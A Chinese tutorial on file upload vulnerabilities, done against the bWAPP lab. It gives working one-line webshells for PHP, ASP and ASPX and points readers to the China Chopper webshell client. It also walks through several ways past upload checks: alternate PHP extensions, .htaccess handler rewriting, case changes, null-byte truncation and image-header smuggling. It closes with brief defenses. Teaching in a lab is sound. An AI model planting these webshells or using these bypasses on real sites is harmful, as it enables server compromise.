zoukankan      html  css  js  c++  java
  • Web安全-文件上传漏洞

    文件上传漏洞是什么 

    关键字:绕过

    文件上传是大部分Web应用都具备的功能,例如用户上传附件,改头像,分享图片等

    文件上传漏洞是在开发者没有做充足验证(包括前端、后端)情况下,运行用户上传恶意文件,这里上传的文件可以使木马、病毒、恶意脚本或者Webshell等

     环境搭建(及靶机)

    # 第一次启动
    docker pull registry.cn-shanghai.aliyuncs.com/yhskc/bwapp
    docker run -d -p 0.0.0.0:80:80 registry.cn-shanghai.aliyuncs.com/yhskc/bwapp
    
    docker container list -a # 查看 container id
    docker start xxx # xxx 就是上一步获得的 container id,运行完这条命令后,访问响应的网址即可

    安装

     点击here

    安装成功,注册用户

     登录

     选择最低级别的,文件上传,点击Hack

     初级尝试攻击

    准备一个简单的一句话木马

     

     通过POST取得一个值,这个值是hacker里的一个值,将我们的值转换为PHP代码

    演示上传,并演示这段代码的威力。

    点击浏览---》选择shell.php,点击上传、

     点击here,可以看到shell.php上传到images文件夹中

     为什么回显是空的呢?因为这里是POST请求,没有携带任何参数。我们如何控制呢?

    我们可以使用两个PHP函数,来测试我们的Webshell

    • get_current_user:获取当前用户名称
    • getcwd:获取当前路径地址

     可以看到我们获取当前用户为www-data。

     获取到当前执行目录

    这里我们使用函数执行,工作效率太低,接来下使用中国菜刀。下载地址https://github.com/raddyfiy/caidao-official-version

      打开中国菜刀

     点击空白处添加

    添加地址,指定hacker字段,点击添加,添加后双击打开

     查看是否能够执行命令,点击链接右键,获取虚拟终端

     

    不同语言的一句话木马

    asp

    <%execute(request("value"))%>

    php

    <?php @eval($_POST['hacker']); ?>

    aspx

    <%@ Page Language="Jscript"%>
    <%eval(Request.Item["value"])%>

    其他

    <%eval request("value")%>
    <%execute request("value")%>
    <%execute(request("value"))%>

     初探文件上传漏洞-->绕过

    同样是file upload 上传页,设置为中级,点击set

     我们还是上传之间的文件,看看是不是还能上传,点击浏览,选择之前的shell.php,点击upload

     这里出现上传文件类型不允许。这时候我们要思考一下,限制文件类型,是限制文件后缀名,我们尝试一下其他后缀名是否可以上传。

    将shell.php,复制一份叫shell.php3,看是否可以上传

     点击上传,可以看到成功上传

     我们上传的shell.php1 不是常规的php文件,能否执行我们的之句话木马的指令吗?我们是curl指令测试一下

    其实这里,只能上传php3后缀的才能正常解析,我们看一下究竟是为什么。我们的靶机是通过apache2容器启动的,我们来看一下apache2的配置。web-server 不知道后端使用的什么语言,但是对后端语言是具有解析能力的。这是我们看apache2是如何解析php语言的,这样我们就知道为什么php3可以解析,而其他的不行。

    通过这个配置我们可以看到加载了mods解析配置文件,所以我们进入这个文件夹查看所支持的mods,进入我们看到php5.conf的配置文件,我们查看一下如何配置的。

    我们可以看到红框中的配置,意思是当发现文件后缀是php3、4、5或者是phtml、pht的时候都会解析成php代码。

     文件上传漏洞中级-->前端验证绕过,.htaccess绕过,大小写绕过

    前端验证绕过

    很多网站、CMS都在使用,只在前端利用JavaScript验证

    漏洞利用流程:(两个方法都可以)

    • 通过Burp Suite抓包,然后修改内容放行
    • 通过chrome禁止JavaScript代码

    .htaccess绕过

    什么是.htaccess

    .htaccess文件是分布式配置文件,使得配置文件可以随文件夹不同而不同,其所放置的文件夹及所有子文件夹都会受此影响,其语法通apache主配置文件

    如何利用.htaccess

    场景:启用.htaccess文件的网站,使用此文件类型来绕过限制较全面的黑名单过滤

    绕过流程

    1、上传一个.htaccess文件,文件内容设置为【AddType application/x-httpd-php .test】

    2、上传一句话木马文件,文件名设置为shell.php

    3、在浏览器中访问shell.test即可执行一句话木马

    大小写绕过

    这是一种比较简单的绕过方式,同样是针对黑名单过滤

    如果想要上传一个php木马,那么我们可以上传一个pHp即可。

    文件上传漏洞高级-->文件流绕过,字符串截断绕过,文件头检查绕过

    Windows文件流特性绕过

    什么是Windows文件流?

    NTFS文件系统实现了多文件流的特性,NTFS环境一个文件默认使用的是未命名的文件流, Windows资源管理器默认不显示出文件的命名文件流,这些命名文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。

    我们来用windows平台做一些测试

    创建一个文件流

     查看test.txt里是没有内容的

     我们使用notepad 打开文件流,我们可以看到文件内容是存在的

    接下来把test打印到文件本身,看看文件是否发生变化

     查看内容就在文件内

     将默认数据流输入222,

    查看内容已经是222

     这说明 我们在日常写文件的过程中,是写的他的默认数据流

     字符串截断绕过

     字符串截断绕过主要是编码类的绕过。一般限制是通过白名单限制,例如上传图片,会过滤文件结尾不是jpg,png等上传文件,理论上这种上传是不好绕过的,但有部分上传在保存文件的时候,是两部分组成,一部分是上传路径,一部分是文件名,而路径是从前端获取的,所以我们可以采用在路径上截断。

    案例

    打开Burp 代理,点击拦截功能,点击上传,将原来shell.php,修改成shell1.php.jpg,并上传。

     可以看到我们已经拦截了,他的请求,接下来我们修改一下内容。可以想一下我们目前要上传这个文件的话,一定是叫shell1.php.jpg。接下来我们修改一下这个内容,我们在PHP后面加一个空格

     空格的编码是20,便于我们在16进制中查找

     接下来我们将20改成00

     

     点击发送,这样就绕过了。

     文件头检查绕过

    常见的文件头格式

    png的文件头

     jpg的文件头

    如何实现文件头绕过呢?

    有一些情况下,文件上传是要检查文件内容呢?一般就是检查文件头,我们可以把php代码内容追加到一个jpg或者png图片里,这样就能绕过文件头检查。(简单说就是把php木马和图片文件合并)

     防御措施

    1、文件类型检查:白名单优于黑名单

    2、使用安全的函数编程

    3、熟悉业务不熟的OS、Web Server配置

  • 相关阅读:
    android widgets控件
    android test控件
    android layout
    android build.gradle
    android studio AndroidManifest
    android studio settings
    (2)git本地生成SSH关联github
    (1)git
    bzoj2286 (sdoi2011)消耗战(虚树)
    Tree 树(树形期望dp)
  • 原文地址:https://www.cnblogs.com/xzkzzz/p/13356635.html
Copyright © 2011-2022 走看看